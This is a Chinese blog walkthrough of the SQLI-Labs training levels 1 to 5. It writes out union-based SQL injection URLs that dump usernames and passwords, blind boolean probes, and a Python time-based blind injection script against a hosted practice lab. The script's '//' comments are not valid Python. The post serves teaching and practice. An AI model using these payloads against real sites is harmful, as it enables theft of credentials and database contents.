前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQLI-Labs通关笔记(1-5)——IK&N Hong_zhong

SQLI-Labs通关笔记(1-5)——IK&N Hong_zhong

作者头像
吉师散养基地
发布2023-03-17 10:39:56
3650
发布2023-03-17 10:39:56
举报
文章被收录于专栏:我奏是太阳我奏是太阳

🍀本人简介

代码语言:javascript
复制
吉师大一最爱逃课的混子、
 
华为云享专家、阿里云专家博主、腾讯云自媒体分享计划博主、
 
华为MindSpore优秀开发者、IK&N战队队长,CSDN2022年运维与安全领域第14名

🍂Orz :

代码语言:javascript
复制
你就不能百度一下吗?
https://www.baidu.com
你就不能Google一下吗?
https://www.google.com
你就不能Bing一下吗?
https://www.bing.com
你就不能NAVER一下吗?
https://search.naver.com
你就不能DuckDuckGo一下吗?
https://duckduckgo.com
你就不能GitHub一下吗?
https://github.com
你就不能F搜一下吗?
https://fsofso.com
你就不能StackOverflow一下吗?
https://stackoverflow.com
你就不能哔哩哔哩一下吗?
https://search.bilibili.com
你就不能Yahoo一下吗?
https://hk.search.yahoo.com
你就不能Yandex一下吗?
https://yandex.com
你就不能维基百科一下吗?
https://zh.wikipedia.org
你就不能萌娘百科一下吗?
https://zh.moegirl.org.cn

这玩意自己搭略微麻烦,感谢启明星辰的在线靶场Orz

Less 1 联合查询之单引号闭合

先让id=1'试试

 报错了,最简单的思路:

单引号报错,其余正常。即单引号引起查询语句错误,也就是单引号闭合

那先爆字段数:

 三正常,四错误,即字段数=3

联合查询

代码语言:javascript
复制
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,database(),3 --+

简单说说,-1是为了避免查询时的返回值占位。

说白了就是,如果id=的值不是-1或者极大值(任何不存在的值),那么后台语句在查询时,就会有正常的返回值,而这个返回值会占据一个显示位,可能导致无法观察到咱们真正想要的敏感值。

union select要求左右两侧的字段数必须相等,这也是我们爆字段数的意义所在。

 可以看到,在第二个显示位上出现了数据库的名字:security

代码语言:javascript
复制
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

group_concat只是将查询的这一列中的多行数据进行连接成为一行字符串,所以我们可以看到

代码语言:javascript
复制
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

没啥区别,把table(s)换成column(s)即可,后面需要改一下table_schema是指表上一层的数据库

那如果想爆列,那就应该改成列的上一层:表

table_name='users'

 id username password

对应order by 爆出的3

直接用group_concat()爆就好了

代码语言:javascript
复制
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--

 第一关结束,继续

Less 2 联合查询之数字型闭合

这玩意也挺好判断的

 当id=2-1的返回值等于id=1的返回值时就是数字型

反正我懒,直接把第一题的payload改成数字型就可以了

代码语言:javascript
复制
http://49.233.61.254:9902/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

 Less 3

payload:

代码语言:javascript
复制
http://49.233.61.254:9902/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users--+

也是,改一下就好,思路都是一样的,就是闭合方式不同

Less 4

一样

代码语言:javascript
复制
http://49.233.61.254:9902/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

 Less 5 双注入GET单引号字符型注入

这下不能省事喽

 没有返回具体值,推测盲注,判断下闭合类型

 单引号闭合报错|双引号闭合正常

推测单引号闭合

判断版本号第一位是否是“5”

代码语言:javascript
复制
id=1' and left(version(),1)=5 --+

还可以利用length来判断数据库长度:判断长度是否为“8”

代码语言:javascript
复制
id=1' and length(database())=8 --+

可以看到,当判断错误时,它是并无回显的。

那我们猜这玩意的数据库还是security,看看它前两位是不是se

代码语言:javascript
复制
http://49.233.61.254:9902/Less-5/?id=1' and left(database(),2)='se' --+

当然,在正常做的时候,可以用如下脚本执行

代码语言:javascript
复制
import requests
import datetime
import time




def database_len():
    for i in range(1, 10):
        url = "http://49.233.61.254:9902/Less-5/"
        payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
        # print(url+payload+'%23')
        time1 = datetime.datetime.now()//记录当前时间1
        r = requests.get(url + payload)//向网站发送请求
        time2 = datetime.datetime.now()//记录当前时间2
        sec = (time2 - time1).seconds//2-1做差,获取响应时间
        if sec >= 1://如果响应时间大于1s,说明payload插入成功,即可判断数据库长度
            print(i)
        else:
            print(i)//否则继续增加负载长度。最终输出的是数据库名称的长度。
            break
    print('database_len:', i)

#获取数据库名
def database_name():
    name = ''
    for j in range(1,9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = "http://49.233.61.254:9902/Less-5/"
            payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
            #print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=3:
                name += i
                print(name)
                break
    print('database_name:', name)


if __name__ == '__main__':
    database_name()

 接下来稍微复杂

代码语言:javascript
复制
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100--+

具体来说,这句话中的id=1是一个假设的查询条件,and用于添加一个额外的条件,ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100则是该条件的实际内容。 这个条件实际上是在尝试从当前数据库的信息模式中选择第一个表的名称,并获取它的第一个字符的 ASCII 值是否等于 100(即字符“d”的 ASCII 值)。如果这个条件成立,那么可以确定这个表的名称的第一个字符是“d”。通过类似的方式逐个获取表名的每个字符,最终可以获取到完整的表名,从而对该表进行其他的SQL注入攻击。

在上面的SQL注入攻击语句中,substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)的目的是提取当前数据库中第一个表的名称中的第一个字符,并将其转换为ASCII码值,以便进行比较。这个函数调用包括三个参数:第一个参数(select table_name from information_schema.tables where table_schema=database() limit 0,1)是一个子查询,用于获取当前数据库中第一个表的名称;第二个参数1是要提取的子串的起始位置;第三个参数1是要提取的子串的长度。 在这个函数调用的结果中,最后的两个1并不重要,它们只是函数的参数之一。如果要获取表名的第二个字符,则可以将第二个参数改为2,以此类推。而最后的1则表示要提取的子串长度为1,因为我们只需要比较表名的第一个字符的ASCII码值,所以只提取了一个字符。

如果想要爆第二位的字母,只需将倒数第二个为1的参数改为2即可

 关于substr:

代码语言:javascript
复制
SUBSTR(string, start, length) 

其中,string是要提取子串的原始字符串,start是子串的起始位置,length是要提取的子串的长度。例如,如果我们有一个字符串"Hello, world!",那么SUBSTR("Hello, world!", 1, 5)将返回"Hello",因为它提取了字符串的前五个字符。

在SQL注入攻击中,substr通常用于获取数据库中的信息,例如提取表名、列名或敏感数据等。在注入攻击中,攻击者可以通过调用substr函数,从原始字符串中提取子串,以此来推断出数据库中的结构和数据。

接着类似如下payload判断表名

代码语言:javascript
复制
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

往下以此类推,这玩意太费时间,直接Sqlmap吧nnd

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-03-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 🍀本人简介:
  • 🍂Orz :
  • Less 1 联合查询之单引号闭合
  • Less 2 联合查询之数字型闭合
  •  Less 3
  • Less 4
  •  Less 5 双注入GET单引号字符型注入
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档